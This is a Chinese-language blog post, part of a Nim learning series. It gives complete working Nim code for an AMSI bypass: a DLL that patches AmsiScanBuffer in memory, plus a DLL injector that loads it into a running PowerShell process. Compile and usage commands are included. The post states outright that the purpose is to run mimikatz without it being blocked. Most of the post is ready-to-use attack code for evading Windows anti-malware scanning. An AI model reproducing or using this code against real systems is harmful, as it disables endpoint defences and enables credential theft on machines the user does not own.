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  • AMSI 绕过(nim学习系列)

    AMSI 绕过(nim学习系列)

    AMSI(Anti-Malware Scan Interface),即反恶意软件扫描接口,在win10和server2016上默认安装。如在使用mimikatz的powershell版时候会遇到错误(仅输入"Invoke-Mimikatz"字符串都被拦截)。

    截图

    实现过程

    不废话,直接上代码。我们将 byt3bl33d3r 的代码 amsi_patch_bin.nim 编成 dll,然后注入 powershell 进程,实现 amsi bypass。

    amsiBypass.nim

    编译:nim c --app:lib --nomain --cpu=amd64 -d:release amsiBypass.nim

    #[
        Author: StudyCat
        Blog: https://www.cnblogs.com/studycat
        Github: https://github.com/StudyCat404/myNimExamples
        License: BSD 3-Clause
        Referer: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim
    ]#
    import winim/lean
    import strformat
    import dynlib
    
    when defined amd64:
        #echo "[*] Running in x64 process"
        const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
    elif defined i386:
        #echo "[*] Running in x86 process"
        const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00]
    
    proc PatchAmsi(): bool =
        var
            amsi: LibHandle
            cs: pointer
            op: DWORD
            t: DWORD
            disabled: bool = false
    
        # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows
        # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim)
        amsi = loadLib("amsi")
        if isNil(amsi):
            echo "[X] Failed to load amsi.dll"
            return disabled
    
        cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress()
        if isNil(cs):
            echo "[X] Failed to get the address of 'AmsiScanBuffer'"
            return disabled
    
        if VirtualProtect(cs, patch.len, 0x40, addr op):
            #echo "[*] Applying patch"
            copyMem(cs, unsafeAddr patch, patch.len)
            VirtualProtect(cs, patch.len, op, addr t)
            disabled = true
    
        return disabled
    
    proc NimMain() {.cdecl, importc.}
    
    proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =
      NimMain()
      
      if fdwReason == DLL_PROCESS_ATTACH:
        discard PatchAmsi()
        
      return true
    

    dll 注入

    这里主要参考了 https://github.com/saeedirha/DLL-Injector 的 C 语言代码进行修改。

    编译:nim c --cpu:amd64 -d:release --opt:size dllInjector.nim

    首先,编译 amsiBypass.nim 成 dll 文件。然后,启动一个 powershell 进程,通过任务管理器获取 PID。最后使用以下命令将 amsiBypass.dll 注入 powershell 进程,即可绕过 amsi,效果见截图。

    使用:dllInjector.exe 14144 C:UsersdellDesktop estamsiBypass.dll

    dllInjector.nim

    #[
        Author: StudyCat
        Blog: https://www.cnblogs.com/studycat
        Github: https://github.com/StudyCat404/myNimExamples
        License: BSD 3-Clause
        Referer: https://github.com/saeedirha/DLL-Injector
    ]#
    import winim/lean
    import dynlib
    import os
    import strutils
    
    when defined(windows):
        let dllPath = paramStr(2)  #绝对路径    
        let pid = paramStr(1).parseInt() #powershell.exe 进程 pid
        
        let hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](pid))   
        let alloc = VirtualAllocEx(hProcess, nil, dllPath.len, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
        
        let IsWriteOK = WriteProcessMemory(hProcess, alloc, unsafeaddr dllPath[0], dllPath.len, nil)
        if IsWriteOK == 0:
            echo "Fail to write in Target Process memory"
            quit(QuitFailure)
               
        let lib = loadLib("kernel32.dll")
        if lib == nil:
            echo "Error loading library"
            quit(QuitFailure)
    
    
        let lpthreadStartRoutinefp = cast[LPTHREAD_START_ROUTINE](lib.symAddr("LoadLibraryA"))
        if lpthreadStartRoutinefp == nil:
            echo "Error loading 'LoadLibraryA' function from library"
            quit(QuitFailure)
        
        var dWord: DWORD
        CreateRemoteThread(hProcess, nil, 0, lpthreadStartRoutinefp, alloc, 0 ,addr dWord)    
    
        echo "[+]DLL Successfully Injected"
        
        unloadLib(lib)
    

    现在可以放心使用 mimikatz 了。

    截图

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  • 原文地址:https://www.cnblogs.com/StudyCat/p/14458842.html
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